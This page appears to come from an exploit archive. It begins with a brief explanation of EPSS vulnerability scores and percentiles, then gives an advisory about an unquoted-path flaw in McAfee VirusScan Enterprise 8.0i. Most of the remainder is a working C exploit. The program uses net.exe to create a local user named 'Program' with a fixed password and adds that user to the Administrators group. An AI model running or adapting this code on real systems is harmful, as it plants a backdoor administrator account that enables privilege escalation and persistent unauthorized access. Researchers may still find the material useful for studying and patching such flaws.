EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

// source: https://www.securityfocus.com/bid/16040/info McAfee VirusScan is prone to a vulnerability that could allow an arbitrary file to be executed. The 'naPrdMgr.exe' process calls applications without using properly quoted paths. Successful exploitation may allow local attackers to gain elevated privileges. McAfee VirusScan Enterprise 8.0i (patch 11) is reportedly vulnerable. Other versions may be affected as well. // ===== Start Program.c ====== #include <windows.h> #include <stdio.h> INT main( VOID ) { CHAR szWinDir[ _MAX_PATH ]; CHAR szCmdLine[ _MAX_PATH ]; GetEnvironmentVariable( "WINDIR", szWinDir, _MAX_PATH ); printf( "Creating user \"Program\" with password \"Pr0gr@m$$\"...\n" ); wsprintf( szCmdLine, "%s\\system32\\net.exe user Program Pr0gr@m$$ /add", szWinDir ); system( szCmdLine ); printf( "Adding user \"Program\" to the local Administrators group...\n" ); wsprintf( szCmdLine, "%s\\system32\\net.exe localgroup Administrators Program /add", szWinDir ); system( szCmdLine ); return 0; } // ===== End Program.c ======
